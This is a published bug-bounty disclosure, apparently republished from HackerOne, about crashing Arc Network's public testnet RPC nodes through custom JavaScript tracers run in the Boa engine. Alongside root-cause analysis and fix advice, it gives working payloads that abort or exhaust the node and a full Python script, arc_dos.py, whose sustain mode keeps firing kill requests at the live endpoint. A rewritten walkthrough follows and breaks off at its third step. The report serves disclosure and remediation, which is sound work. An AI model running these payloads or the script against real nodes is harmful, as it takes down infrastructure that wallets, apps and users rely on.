Skip to content
DoS Disclosed report Advanced

Unauthenticated remote process termination of Arc RPC nodes via custom JS tracer (Boa engine) leads to sustained node DoS

Public, unauthenticated Arc RPC endpoints expose custom JavaScript tracers that run server-side in the Boa engine with no timeout, memory cap or result-size limit. An attacker could send single requests that abort the node process or exhaust its worker threads and memory, causing sustained denial of service.

cantina-security Follow

Originally disclosed on HackerOne

Bounty$10,000 High View original
  • Fixed in 50 days
  • Paid in 50 days
  • Disclosed after 3 months

The Arc Network public RPC endpoints (rpc.testnet.arc.network, rpc.quicknode.testnet.arc.network) expose go-ethereum-style custom JavaScript tracers through debug_traceCall / debug_traceTransaction with no authentication, no execution timeout, no memory caps, and no result-size limits. The JavaScript executes server-side inside the Boa engine (boa_engine 0.21.x, pure-Rust ECMAScript) embedded via revm-inspectors' JsInspector (the reth-lineage tracing stack; node reports web3_clientVersion = "arc/v1").

We fingerprinted the engine byte-for-byte, built a target-matched local lab (real JsInspector code path, boa 0.21.1, debug+release builds), and ran an exhaustive vulnerability research program (~1,000 lab executions + controlled live probes). The result: multiple independent, unauthenticated, single-request primitives that remotely terminate the RPC node process or exhaust its resources - none of which can be contained by the node's existing panic handling.

Demonstrated against the live endpoint:

  1. Remote process kill (two independent vectors) - one HTTP request aborts the backend worker process:
    • Parser stack overflow -> native SIGABRT (uncatchable; catch_unwind cannot intercept a stack overflow).
    • Map + GC BorrowMutError (boa-dev/boa #5337) -> non-unwinding panic inside a GC finalizer -> whole-process abort. Fires in <0.1 s of native work, is stack-size-independent, and is catch_unwind-proof by construction.
  2. Thread-pool exhaustion (ReDoS) - the regress regex engine has no backtracking limit (boa-dev/boa #4643); one request pins a worker thread for attacker-chosen CPU time (doubles per input char; 2.3 s at N=26, hours at N40), uninterruptible because Boa has no interrupt API.
  3. Memory/CPU exhaustion via host glue - the toHex builtin iterates an attacker-controlled array length natively (immune to the 200k JS-iteration limit): a 4 GiB-length array costs ~137 s CPU + ~12 GB RSS + an 8.6 GB output string per request.
  4. Response/memory amplification - tracer results are returned with no size cap (512 MB confirmed in lab; 33.5 MB from a single bounded request confirmed live).

A looping PoC (sustain mode) keeps the endpoint continuously degraded - backends cycle on kill requests while health probes alternate between timeouts and recovery. Because the engine is memory-safe Rust, native code execution was not achievable; the maximum impact on this target is full, sustained, unauthenticated denial of service of the RPC infrastructure.

Affected Area

  • Target: Arc Network (Circle) - public testnet RPC
  • Endpoints: https://rpc.testnet.arc.network, https://rpc.quicknode.testnet.arc.network
  • Methods: debug_traceCall, debug_traceTransaction (custom JS tracer parameter)

Actor Model

  • Attacker: fully unauthenticated, no API key, no session. Any website can also fire the requests cross-origin (both endpoints reflect arbitrary Origin with Access-Control-Allow-Credentials: true - confirmed live), enabling drive-by DoS from any visitor's browser.
  • Victim: the Arc RPC node fleet (and, transitively, every dApp/wallet/user depending on the public RPC).

Expected Behavior

  • Custom JavaScript tracers must not be exposed on public, unauthenticated RPC endpoints (go-ethereum's own documentation warns that enabling debug over HTTP is "not recommended because access to these methods increases the attack surface").
  • If exposed, tracer execution must be bounded: wall-clock timeout, memory limits, result-size caps, and a sandboxed worker process so that engine panics/aborts cannot take down the node.

Actual Behavior

  • Attacker-controlled JavaScript executes server-side with only two guards: a 200,000-iteration JS loop limit and a 10,000 JS recursion limit. Both are trivially bypassed (see below). There is no timeout, no interrupt mechanism, no memory cap, no result-size cap, and no process isolation.
  • Unwinding Rust panics are caught per-request (returned as internal eth error), but stack overflows and non-unwinding GC-finalizer panics abort the process outright.

Root Cause Analysis

Engine identification (definitive)

Live fingerprinting against the tracer sandbox proved the engine is Boa 0.21.x:

Fingerprint point Observed on target Unique to
TypedArray is an own property of the global object yes Boa only (quickjs/V8/JSC do not expose it)
'stack' in new Error() false Boa <=0.21.1 (no Error.stack; quickjs always has it)
TypeError for null.x cannot convert 'null' or 'undefined' to object byte-match to boa value/mod.rs
native fn toString function () { [native code] } (single-line) Boa (quickjs is multi-line)
Object.prototype key order __proto__ first Boa (quickjs: toString first)
bigint === BigInt, no bigInt yes revm-inspectors <0.40 (geth uses a polyfill bigInt)
global list (62 entries, exact order) matches boa set_default_global_bindings() + 8 host helpers Boa 0.21.x
intrinsicGas: 0, time = block timestamp yes revm-inspectors JsEvmContext
"invalid hex string" / slice OOB message format yes revm-inspectors builtins.rs
loop limit error Maximum loop iteration limit 200000 exceeded yes revm-inspectors LOOP_ITERATION_LIMIT

The tracer environment matches paradigmxyz/revm-inspectors (~v0.39, before the bigInt alias was added) on boa_engine 0.21.x with RuntimeLimits { loop_iteration: 200_000, recursion: 10_000 } - the standard reth JS-tracer configuration.

Why the existing guards fail

  1. The 200k loop limit only counts JS bytecode loop iterations. Native work - regex backtracking, JSON.stringify recursion, toHex host-glue iteration, parser recursion, BigInt exponentiation - is invisible to it. Example: 2n ** (2n**24n) (native, 0.2 s live) consumes no loop budget; a 199,999-iteration loop each doing unbounded native work is "within limits".
  2. The 10k recursion limit only guards JS-level calls. Native recursion (parser, serializer, proxy-chain traversal, @@toPrimitive conversion) is unguarded and overflows the 2 MB tokio worker stack -> SIGABRT.
  3. Panics are only contained if they unwind. boa-dev/boa #5337 panics inside a GC finalizer during cleanup - a second panic while unwinding is non-unwinding and aborts the process regardless of catch_unwind.
  4. Boa has no interrupt API (feature request #3442 open since 2023). Unlike goja (geth's engine, which supports Runtime.Interrupt), a Boa context stuck in native work cannot be stopped - so even a correct wall-clock timeout could not preempt the ReDoS thread-burn.

Where the bugs live: engine vs host glue vs node configuration

The vulnerabilities fall into three layers, and the layering matters for remediation - fixing the node configuration (hiding the endpoint) is the only complete short-term fix, because the engine bugs themselves are upstream and mostly unfixed in any released Boa version:

  1. Boa engine bugs (upstream, boa-dev/boa + the regress regex crate). These affect any application that embeds Boa 0.21.x to run untrusted JavaScript - not just Arc, not just reth. The engine is memory-safe Rust, so the reachable bug class is panics and aborts rather than memory corruption, but that is sufficient for remote process termination:
    • #5337 (Map + GC BorrowMutError) - Boa's JsMap uses a RefCell-style borrow guard. Map.prototype.entries() mutably borrows the map while allocating the iterator object; that allocation can trigger a GC cycle, whose finalizer for a dead internal MapLock tries to borrow the same cell again -> BorrowMutError inside a destructor during cleanup. Rust semantics: a panic that fires while another panic is being cleaned up is non-unwinding - the process aborts unconditionally. No amount of catch_unwind in the node helps, and the trigger needs only ~20k loop iterations of trivial native calls (<0.1 s). Fixed on boa main (2026-04-17) but present in every released version <=0.21.1.
    • Parser stack overflow - Boa's recursive-descent parser has no nesting-depth guard. Function('('.repeat(150)) recurses natively ~150 frames deep and overflows the 2 MB tokio worker stack -> SIGABRT. A stack overflow is a fatal runtime error, not a panic - it cannot be caught by any mechanism. (Tracked as #4397/#1402, open.)
    • Serializer / proxy / async-gen native recursion - JSON.stringify on a >=2048-deep object, a >=20k-deep Proxy chain property-get, and the async-generator then-getter cycle (#4515) all recurse natively past the worker stack with the same SIGABRT result. The JS-level recursion limit (10k) does not cover these paths.
    • #4643 (ReDoS) - the regress regex engine has no backtracking budget. /^(a+)+$/ on N characters explores ~2^N paths; the entire search runs inside one native call, so neither the JS loop limit nor any (nonexistent) interrupt can stop it. Open and unfixed.
    • #5367 / #4655 (memory exhaustion) - String.prototype.repeat/padStart build the result via an unchecked Vec::with_capacity (~24 bytes per element -> repeat(1<<30) ~ 25.7 GB allocation request -> alloc-failure abort on Linux), and String.prototype.replace builds unbounded result strings (OS OOM-kill observed). Boa has no string-length cap (#4409, open) and its per-ArrayBuffer cap (1.5 GiB) has no count limit.
    • #5481 (i32::MIN % -1) - a division-overflow panic that fires even in release builds; on this target it is contained (unwinding panic -> per-request internal eth error), demonstrating exactly where the node's panic containment boundary lies: it catches unwinding panics only.
  2. Host-glue bugs (upstream, paradigmxyz/revm-inspectors). The Rust bindings that expose tracer helpers to JS:
    • bytes_from_value unbounded iteration - toHex/toWord/slice/etc. accept a plain JS array and loop array.length times in native code, allocating Vec::with_capacity(length) up front. a.length = 0xffffffff yields ~137 s CPU + >12 GB RSS + an 8.6 GB output string per request, entirely invisible to the JS loop limit. No length cap exists.
    • Four stale-integer panic sites (new, found during this research) - %TypedArray%.slice (species-shrink), ArrayBuffer.prototype.slice, Atomics.store/load with resizable-buffer shrink via valueOf: bounds are captured, a user callback shrinks the backing buffer, and the native code then slices with the stale length -> bounds-checked panic (per-request DoS).
  3. Node configuration (Arc's own attack surface). Exposing the debug namespace with string-tracer support on a public, unauthenticated endpoint, with no wall-clock timeout, no memory/result caps, no rate limiting, and the tracer running in-process (a thread of the RPC node rather than an isolated worker process). Geth's documentation has warned against exactly this for years. Every engine/host bug above becomes a remote, unauthenticated node kill only because of this layer - and even a bug-free engine would still allow unbounded compute (a 199,999-iteration loop of heavy native work is fully "within limits").

The important consequence for the report reader: this is not an Arc-specific code bug that one patch retires. Layers 1 and 2 are upstream and affect every Boa/revm-inspectors consumer that runs attacker JS (any reth fork exposing JS tracers - and Boa is explicitly marketed for embedding untrusted scripts). Until Boa ships interrupt support and the panic sweep reaches a release, the only safe deployment is to not expose string tracers publicly (or to run them in a separate, resource-limited process).

Proof of Concept - validated against the live endpoint

All live tests were run against rpc.testnet.arc.network (Circle-operated endpoint) with bounded payloads and health checks between crash tests. The QuickNode mirror received benign probes only (shared third-party infrastructure).

Vector 1 - Remote process kill: parser stack overflow

The Boa parser is recursive-descent with no nesting-depth guard; ~150 nested parens overflow a 2 MB worker stack (verified: release threshold in (50, 150]).

JavaScript
// tracer body (result callback)
try { Function('('.repeat(2000)); return 'SURVIVED'; }
catch(e){ return 'CAUGHT:'+String(e); }

Live result:

parens=50:  0.20s -> {"result":"CAUGHT:SyntaxError: failed to parse function body: abrupt end"}   (control)
parens=150: 30.24s -> {"error":{"code":-32603,"message":"internal error"}}                       (worker SIGABRT; 30s = LB timeout)
parens=500: 30.22s -> {"error":{"code":-32603,"message":"internal error"}}
health after: OK (node recovered via LB/restart)

Controls prove the 30 s internal error is a dead backend, not slow execution: 50 parens returns instantly with a clean SyntaxError, and a 2.4 s ReDoS request completes normally.

Vector 2 - Remote process kill: Map + GC BorrowMutError (boa #5337)

Deterministic, <0.1 s of native work, stack-size-independent, non-unwinding:

JavaScript
// tracer body (result callback)
var m = new Map();
for (var i = 0; i < 1000; i++) m.set(i, i);
for (var j = 0; j < 199000; j++) { m.entries(); }   // under the 200k loop limit
return 'SURVIVED';

Lab: Object already borrowed: BorrowMutError (ordered_map.rs) -> panic in a destructor during cleanup -> thread caused non-unwinding panic. aborting. (SIGABRT, debug == release).

Live result:

pre-kill health:  OK (0.16s)
kill request:     30.15s -> {"error":{"code":-32603,"message":"internal error"}}   (process abort)
post-kill probe:  30.09s -> read timed out                                        (backend down)
post-kill probe:  0.16s -> HEALTH_OK                                              (LB routed to restarted/standby backend)

Vector 3 - Thread-pool exhaustion: ReDoS (regress #4643)

No backtracking limit; runtime doubles per input character, inside a single native call (uninterruptible):

JavaScript
var s=''; for (var i=0;i<N;i++) s+='a'; s+='!';
/^(a+)+$/.test(s);

Live measurements: N=22 -> 0.14 s, N=24 -> 0.54 s, N=26 -> 2.28 s (x4 per +2 chars). Extrapolated: N=30 ~ 37 s, N=40 ~ 10 h - per request, per worker thread. A handful of concurrent requests at N~35-40 exhausts the RPC worker pool indefinitely.

Vector 4 - Memory/CPU exhaustion via the toHex host glue

bytes_from_value iterates array.length in a native Rust loop - the JS loop limit does not apply:

JavaScript
var a = []; a.length = 16777215;        // bounded live test (max: 4294967295)
var h = toHex(a); return 'hexlen:' + h.length;

Live result: 1.45 s -> {"result":"hexlen:33554432"} (33.5 MB hex string built natively). Lab measurement at 0xffffffff: 137 s CPU + >12 GB peak RSS + 8.6 GB output string per request.

Vector 5 - Response/memory amplification (lab-verified)

return 'x'.repeat(512*1024*1024) -> 512 MB RPC response, 3.77 GB peak RSS, no cap found (request size ~200 bytes -> ~4.5 millionx amplification). Combined with the arbitrary-origin CORS reflection, a single malicious page can make every visitor's browser pull multi-hundred-MB responses from the RPC.

Additional lab findings (not detonated live)

Bug Effect Reference
JSON.stringify native recursion (>=2048-deep object) process kill (SIGABRT) lab crasher-matrix
Proxy chain >=20k deep property get process kill (SIGABRT) lab crasher-matrix
Async-generator .return({get then(){this.then}}) process kill (boa #4515) lab crasher-matrix
'x'.repeat(1<<30) / padStart(2**31) ~25-48 GB unchecked alloc -> OOM kill (boa #5367) lab crasher-matrix
replace amplification (boa #4655) unbounded result build -> OS OOM-kill lab crasher-matrix
4 stale-integer panics (%TypedArray%.slice species-shrink, ArrayBuffer.slice, Atomics.store/load RAB-shrink) per-request panic new bugs found during this research
(-2147483648|0) % (-1|0) (boa #5481) per-request panic -> internal eth error (contained) validated live

Memory-corruption audit (negative result): the full typed-array detach/shrink-during-callback matrix (40+ cases), GC-pressure reentrancy, and host-glue fuzzing (738 executions) found zero OOB read/write, zero UAF, zero heap disclosure - boa's GcCell borrow guards hold; ArrayBuffer.prototype.transfer is compiled out (experimental feature off). Native RCE is not achievable through this surface with known techniques.

Sustained-DoS evidence script (PoC)

The following self-contained PoC (arc_dos.py) runs all primitives against the live endpoint and logs a JSONL evidence trail. sustain mode loops kill requests (configurable vector/workers/interval) and probes health between rounds, demonstrating continuous degradation - the "keep the node down" mode. All configuration is via globals at the top of the file.

Bash
python3 arc_dos.py health     # baseline
python3 arc_dos.py kill       # single process-kill + pre/post health evidence
python3 arc_dos.py burn       # single ReDoS thread-burn
python3 arc_dos.py exhaust    # single toHex memory/CPU exhaustion
python3 arc_dos.py sustain    # loop kills + health probes -> evidence JSONL
Python
#!/usr/bin/env python3
"""
arc_dos.py - PoC: sustained unauthenticated DoS of the Arc testnet public RPC
=============================================================================

Evidence tool for the issue "Unauthenticated custom JavaScript execution in
Arc RPC debug tracing -> remote process termination / sustained node DoS".

The Arc public RPC endpoints (rpc.testnet.arc.network and its QuickNode
mirror) expose go-ethereum-style custom JavaScript tracers via
`debug_traceCall` / `debug_traceTransaction`. The embedded engine is Boa
(boa_engine 0.21.x) wired through revm-inspectors' JsInspector, with:

  * no wall-clock execution timeout,
  * no interrupt/cancellation API in the engine,
  * no memory / result-size caps,
  * panic containment only for *unwinding* panics.

This script demonstrates, against the live endpoint, three independent
unauthenticated primitives:

  1. KILL   - remote process termination of the RPC backend worker, two
              independent vectors (both uncatchable / catch_unwind-proof):
                a) parser stack overflow  -> SIGABRT of the worker thread
                b) Map+GC BorrowMutError  -> non-unwinding panic in a GC
                   finalizer -> whole-process abort (boa-dev/boa #5337)
  2. BURN   - thread-pool exhaustion via unbounded RegExp backtracking
              (regress engine, boa-dev/boa #4643). One request pins one
              worker thread for attacker-chosen CPU time (hours at N~40).
  3. EXHAUST -  memory/CPU exhaustion via the host-glue `toHex` builtin,
              which iterates attacker-controlled array lengths natively
              (immune to the 200k JS loop limit).

`sustain` mode loops KILL requests and verifies that the endpoint is
continuously degraded (backends cycling) - the "keep the node down"
evidence mode.

Edit the globals below to configure. Run:
  python3 arc_dos.py health
  python3 arc_dos.py kill
  python3 arc_dos.py burn
  python3 arc_dos.py exhaust
  python3 arc_dos.py sustain

All requests/responses are logged as JSONL (stdout and EVIDENCE_PATH) with
timestamps, latency, and response body - the run itself is the evidence bundle.
"""

import json
import threading
import time
import urllib.error
import urllib.request
from datetime import datetime, timezone

# ----------------------------- configuration -------------------------------
TARGET = "https://rpc.testnet.arc.network"

KILL_VECTOR = "mapgc"   # "mapgc" (non-unwinding process abort) or "parser" (stack overflow)
REDOS_N = 26            # backtracking input length: 26 ~2.3s, 30 ~37s, 40 ~10h per request
EXHAUST_LEN = 16777215  # array length for the toHex host-glue exhaustion (max: 4294967295)

SUSTAIN_ROUNDS = 20     # sustain mode: number of kill rounds
SUSTAIN_WORKERS = 2     # sustain mode: concurrent kill requests per round
SUSTAIN_INTERVAL = 8.0  # sustain mode: seconds between rounds

EVIDENCE_PATH = "arc_dos_evidence.jsonl"  # set to None to log to stdout only
# ---------------------------------------------------------------------------

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
    "Content-Type": "application/json",
}
ZERO = "0x0000000000000000000000000000000000000000"


def tracer_health():
    return ("({result:function(ctx,db){return 'HEALTH_OK';},"
            "fault:function(){},step:function(){}})")


def tracer_kill_parser(depth=2000):
    # Parser stack overflow: recursive-descent parser recurses natively on
    # nested parens; ~150 is enough on a 2MB tokio worker stack. Uncatchable.
    return ("({result:function(ctx,db){ try { Function('('.repeat(%d));"
            " return 'SURVIVED'; } catch(e){ return 'CAUGHT:'+String(e); } },"
            "fault:function(){},step:function(){}})" % depth)


def tracer_kill_mapgc():
    # boa-dev/boa #5337: Map iterator allocation while GC finalizes a dead
    # MapLock -> BorrowMutError in a destructor -> non-unwinding abort.
    # Fires in <0.1s of native work; catch_unwind cannot contain it.
    return ("({result:function(ctx,db){ var m=new Map();"
            " for(var i=0;i<1000;i++) m.set(i,i);"
            " for(var j=0;j<199000;j++){ m.entries(); }"
            " return 'SURVIVED'; },fault:function(){},step:function(){}})")


def tracer_burn_redos(n):
    # regress #4643: no backtracking limit. Runtime doubles per +1 char.
    # CPU burns inside ONE native call, so the 200k JS loop limit and the
    # absence of an interrupt API don't help.
    return ("({result:function(ctx,db){ var s=''; for(var i=0;i<%d;i++) s+='a';"
            " s+='!'; var t0=Date.now(); /^(a+)+$/.test(s);"
            " return 'redos ms:'+(Date.now()-t0); },"
            "fault:function(){},step:function(){}})" % n)


def tracer_exhaust_tohex(length):
    # bytes_from_value iterates array.length NATIVELY (Rust loop) -> immune
    # to the JS loop limit. 0xffffffff entries -> 137s CPU + ~12GB RSS +
    # an 8.6GB output string per request (measured in the target-matched lab).
    return ("({result:function(ctx,db){ var a=[]; a.length=%d;"
            " var h=toHex(a); return 'hexlen:'+h.length; },"
            "fault:function(){},step:function(){}})" % length)


KILL_VECTORS = {"parser": tracer_kill_parser, "mapgc": tracer_kill_mapgc}


class EvidenceLog:
    def __init__(self, path):
        self.lock = threading.Lock()
        self.fh = open(path, "a") if path else None

    def emit(self, record):
        record["ts"] = datetime.now(timezone.utc).isoformat()
        line = json.dumps(record)
        with self.lock:
            print(line)
            if self.fh:
                self.fh.write(line + "\n")
                self.fh.flush()

    def close(self):
        if self.fh:
            self.fh.close()


def rpc_call(tracer, req_id, timeout=90):
    payload = {
        "jsonrpc": "2.0", "id": req_id, "method": "debug_traceCall",
        "params": [
            {"from": ZERO, "to": ZERO, "data": "0x"},
            "latest", {"tracer": tracer},
        ],
    }
    req = urllib.request.Request(TARGET, data=json.dumps(payload).encode(),
                                 headers=HEADERS)
    t0 = time.time()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return time.time() - t0, json.loads(resp.read())
    except urllib.error.HTTPError as e:
        return time.time() - t0, {"http_error": e.code,
                                  "body": e.read().decode()[:300]}
    except Exception as e:
        return time.time() - t0, {"transport_error": str(e)}


def send_logged(log, tracer, kind, req_id, timeout=90):
    dt, body = rpc_call(tracer, req_id, timeout)
    log.emit({"kind": kind, "id": req_id, "latency_s": round(dt, 3),
              "response": body})
    return dt, body


def is_healthy(body):
    return isinstance(body, dict) and body.get("result") == "HEALTH_OK"


def cmd_health(log):
    for i in range(3):
        dt, body = send_logged(log, tracer_health(), "health", 1000 + i, 30)
        print(f"health[{i}]: {'OK' if is_healthy(body) else 'DEGRADED'} ({dt:.2f}s)")


def cmd_kill(log):
    print("[*] pre-kill health:")
    send_logged(log, tracer_health(), "health", 2000, 30)
    print(f"[*] sending KILL vector '{KILL_VECTOR}' ...")
    dt, body = send_logged(log, KILL_VECTORS[KILL_VECTOR](), f"kill_{KILL_VECTOR}", 2100)
    verdict = ("PROCESS-KILL signature (backend worker died; 30s = LB timeout)"
               if dt > 25 and "error" in body else "unexpected - inspect log")
    print(f"    {dt:.2f}s -> {json.dumps(body)[:200]}")
    print(f"    verdict: {verdict}")
    time.sleep(1)
    print("[*] post-kill health:")
    for i in range(3):
        dt, body = send_logged(log, tracer_health(), "health", 2200 + i, 30)
        print(f"    {'OK' if is_healthy(body) else 'DEGRADED'} ({dt:.2f}s)")
        time.sleep(1)


def cmd_burn(log):
    print(f"[*] sending ReDoS BURN request (N={REDOS_N}) ...")
    dt, body = send_logged(log, tracer_burn_redos(REDOS_N), "burn_redos", 3100, 300)
    print(f"    {dt:.2f}s -> {json.dumps(body)[:200]}")


def cmd_exhaust(log):
    print(f"[*] sending toHex EXHAUST request (array length={EXHAUST_LEN}) ...")
    dt, body = send_logged(log, tracer_exhaust_tohex(EXHAUST_LEN), "exhaust_tohex", 3200, 300)
    print(f"    {dt:.2f}s -> {json.dumps(body)[:200]}")


def cmd_sustain(log):
    """
    Keep the node cycling: every SUSTAIN_INTERVAL seconds, fire
    SUSTAIN_WORKERS concurrent KILL requests; probe health between rounds;
    log everything. The evidence trail shows a persistent ~30s
    'internal error' signature and degraded/recovering health - the
    endpoint never stabilizes while under attack.
    """
    print(f"[*] SUSTAIN mode: vector={KILL_VECTOR} rounds={SUSTAIN_ROUNDS} "
          f"workers={SUSTAIN_WORKERS} interval={SUSTAIN_INTERVAL}s")
    send_logged(log, tracer_health(), "health_baseline", 9000, 30)
    counter = 0
    for r in range(SUSTAIN_ROUNDS):
        def fire(w):
            nonlocal counter
            counter += 1
            send_logged(log, KILL_VECTORS[KILL_VECTOR](),
                        f"sustain_kill_{KILL_VECTOR}", 9000 + r * 100 + w)

        threads = [threading.Thread(target=fire, args=(w,)) for w in range(SUSTAIN_WORKERS)]
        for t in threads:
            t.start()
        for t in threads:
            t.join()

        dt, body = send_logged(log, tracer_health(), "health_probe", 9500 + r, 30)
        state = "OK" if is_healthy(body) else "DEGRADED"
        print(f"  round {r+1}/{SUSTAIN_ROUNDS}: kills fired={SUSTAIN_WORKERS}, "
              f"health={state} ({dt:.2f}s)")
        if r < SUSTAIN_ROUNDS - 1:
            time.sleep(SUSTAIN_INTERVAL)
    print(f"[*] sustain complete: {counter} kill requests sent; "
          f"see {EVIDENCE_PATH or 'stdout'} for the evidence trail")


def main():
    mode = sys.argv[1] if len(sys.argv) > 1 else "health"
    log = EvidenceLog(EVIDENCE_PATH)
    try:
        if mode == "health":
            cmd_health(log)
        elif mode == "kill":
            cmd_kill(log)
        elif mode == "burn":
            cmd_burn(log)
        elif mode == "exhaust":
            cmd_exhaust(log)
        elif mode == "sustain":
            cmd_sustain(log)
        else:
            print(__doc__)
    finally:
        log.close()


if __name__ == "__main__":
    import sys
    main()

Verified live (kill mode): pre-health OK -> kill request 30.15 s internal error -> first post-probe times out (backend down) -> subsequent probes OK (LB/restart recovery). Repeating this loop keeps the fleet in a permanent crash-restart cycle; with SUSTAIN_WORKERS >= worker-pool size and ReDoS mixes, new requests starve behind burned threads.

Fix Direction

  1. Disable string (custom JS) tracers on public RPC - restrict debug_trace* to named tracers (callTracer, prestateTracer) or to authenticated/internal endpoints. This is the only complete fix.
  2. If JS tracers must stay public:
    • run the tracer in a separate sandboxed worker process (not a thread) with rlimits (CPU seconds, address space) and a hard wall-clock kill - a Boa context cannot be interrupted in-process;
    • cap tracer source size, result size, and per-request memory;
    • rate-limit per-IP and require authentication;
    • upgrade boa_engine past 0.21.1 (the #5337 non-unwinding abort and numerous panic sites are fixed on main) and track boa security issues;
    • cap bytes_from_value input length in revm-inspectors (the toHex 4 GiB iteration bug).

Recommended Fix

Short term: remove the tracer string parameter from the public debug_traceCall/debug_traceTransaction handlers (allow named tracers only), and put the full debug namespace behind authentication. Long term: process-isolated tracer execution with resource limits, boa >= the version fixing #5337, and upstream patches to revm-inspectors (bytes_from_value length cap) and boa (parser/serializer depth guards - several landed post-0.21.1).

Impact

  • Total, repeatable, unauthenticated availability loss of the Arc public RPC - one packet per backend restart cycle. Any dApp, wallet, explorer, or user routed to the public RPC is down for the duration of the attack.
  • Drive-by capability: because both endpoints reflect arbitrary origins with credentials, any website can weaponize its visitors' browsers to fire kill/burn requests - no infrastructure needed by the attacker.
  • Cost asymmetry: ~200-byte requests cause process aborts, multi-minute CPU burns, or multi-GB allocations. Defending at the edge is near-impossible (payloads are syntactically valid JSON-RPC).
  • Testnet context: today the blast radius is testnet infrastructure and the QuickNode mirror (a third party bearing load from Arc's misconfiguration). If the same RPC stack ships to mainnet with debug tracing exposed, this becomes a mainnet-critical availability vulnerability.

The original report as published on HackerOne, by cantina-security. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

Context

Arc Network (Circle) runs a public testnet RPC at https://rpc.testnet.arc.network, with a QuickNode-operated mirror at https://rpc.quicknode.testnet.arc.network. Both expose the go-ethereum-style debug namespace, including debug_traceCall and debug_traceTransaction with support for custom JavaScript tracers passed as a string in the tracer parameter.

A custom JS tracer is a small script that the node executes server-side for every step of a traced call or transaction. It receives the EVM context and a database handle and returns a result object. In go-ethereum this is a convenience for debugging; geth's own documentation warns that enabling debug over HTTP is "not recommended because access to these methods increases the attack surface".

On Arc the tracer runs inside the Boa engine (boa_engine 0.21.x, a pure-Rust ECMAScript implementation) embedded through revm-inspectors' JsInspector, the reth-lineage tracing stack. The node reports web3_clientVersion = "arc/v1". The JavaScript executes in-process, on a thread of the RPC node itself, with no authentication, no execution timeout, no memory caps and no result-size limits.

Setup

The researcher worked unauthenticated: no API key, no session, no account. The tooling described is a target-matched local lab, live probes and a Python evidence script.

The lab reproduced the real JsInspector code path with boa 0.21.1 in both debug and release builds, and was used for roughly 1,000 executions. Live probes against the endpoint were bounded and interleaved with health checks. The QuickNode mirror received benign probes only, since it is shared third-party infrastructure.

Before exploiting anything, the researcher fingerprinted the engine to be certain which implementation was running. The table below is the evidence, as observed on the target:

Fingerprint point Observed on target Unique to
TypedArray is an own property of the global object yes Boa only (quickjs/V8/JSC do not expose it)
'stack' in new Error() false Boa <=0.21.1 (no Error.stack; quickjs always has it)
TypeError for null.x cannot convert 'null' or 'undefined' to object byte-match to boa value/mod.rs
native fn toString function () { [native code] } (single-line) Boa (quickjs is multi-line)
Object.prototype key order __proto__ first Boa (quickjs: toString first)
bigint === BigInt, no bigInt yes revm-inspectors <0.40 (geth uses a polyfill bigInt)
global list (62 entries, exact order) matches boa set_default_global_bindings() + 8 host helpers Boa 0.21.x
intrinsicGas: 0, time = block timestamp yes revm-inspectors JsEvmContext
"invalid hex string" / slice OOB message format yes revm-inspectors builtins.rs
loop limit error Maximum loop iteration limit 200000 exceeded yes revm-inspectors LOOP_ITERATION_LIMIT

The environment matches paradigmxyz/revm-inspectors around v0.39 (before the bigInt alias was added) on boa_engine 0.21.x with RuntimeLimits { loop_iteration: 200_000, recursion: 10_000 }, the standard reth JS-tracer configuration.

Finding it

The tracer sandbox has exactly two guards: a 200,000-iteration JS loop limit and a 10,000 JS recursion limit. Both only count JavaScript-level work. Native work performed inside the engine or inside the Rust host glue, such as regex backtracking, JSON.stringify recursion, toHex iteration, parser recursion or BigInt exponentiation, is invisible to them. For example, 2n ** (2n**24n) runs natively in about 0.2 s on the live endpoint and consumes no loop budget at all, and a 199,999-iteration loop where each iteration does unbounded native work is still "within limits".

The recursion limit has the same shape: it only guards JS-level calls, so native recursion in the parser, serializer, proxy-chain traversal or @@toPrimitive conversion is unguarded and overflows the 2 MB tokio worker stack, which ends in SIGABRT.

Panic handling is the third weak point. Unwinding Rust panics are caught per request and returned as internal eth error, but a stack overflow is a fatal runtime error that no mechanism can catch, and a panic that fires inside a GC finalizer during cleanup is non-unwinding, so the process aborts regardless of catch_unwind.

Finally, Boa has no interrupt API (feature request boa-dev/boa #3442, open since 2023). Unlike goja, geth's engine, which supports Runtime.Interrupt, a Boa context stuck in native work cannot be stopped, so even a correct wall-clock timeout could not preempt a thread burn.

Exploitation

All live tests ran against rpc.testnet.arc.network with bounded payloads and health checks between crash tests. Each tracer is sent as the tracer string parameter of debug_traceCall.

Step 1: parser stack overflow kills the worker

Boa's parser is recursive-descent with no nesting-depth guard. About 150 nested parentheses overflow a 2 MB worker stack; the release threshold was verified to lie in (50, 150].

JavaScript
// tracer body (result callback)
try { Function('('.repeat(2000)); return 'SURVIVED'; }
catch(e){ return 'CAUGHT:'+String(e); }

The Function constructor parses the generated source, and the repeated ( drives the native parser recursion. The try/catch is there to show that a JS-level exception would be caught, but a stack overflow is not a JS exception. Live result:

Text
parens=50:  0.20s -> {"result":"CAUGHT:SyntaxError: failed to parse function body: abrupt end"}   (control)
parens=150: 30.24s -> {"error":{"code":-32603,"message":"internal error"}}                       (worker SIGABRT; 30s = LB timeout)
parens=500: 30.22s -> {"error":{"code":-32603,"message":"internal error"}}
health after: OK (node recovered via LB/restart)

The 50-paren control returns instantly with a clean SyntaxError, and a 2.4 s ReDoS request completes normally, which proves the 30 s internal error is a dead backend rather than slow execution.

Step 2: Map plus GC BorrowMutError aborts the process

This vector is deterministic, needs under 0.1 s of native work, is independent of stack size and is non-unwinding.

JavaScript
// tracer body (result callback)
var m = new Map();
for (var i = 0; i < 1000; i++) m.set(i, i);
for (var j = 0; j < 199000; j++) { m.entries(); }   // under the 200k loop limit
return 'SURVIVED';

The loop stays under the 200,000-iteration limit. In the lab the sequence produced Object already borrowed: BorrowMutError (ordered_map.rs), then panic in a destructor during cleanup, then thread caused non-unwinding panic. aborting. (SIGABRT, identical in debug and release). Live result:

Text
pre-kill health:  OK (0.16s)
kill request:     30.15s -> {"error":{"code":-32603,"message":"internal error"}}   (process abort)
post-kill probe:  30.09s -> read timed out                                        (backend down)
post-kill probe:  0.16s -> HEALTH_OK                                              (LB routed to restarted/standby backend)

Step 3: ReDoS pins a worker thread

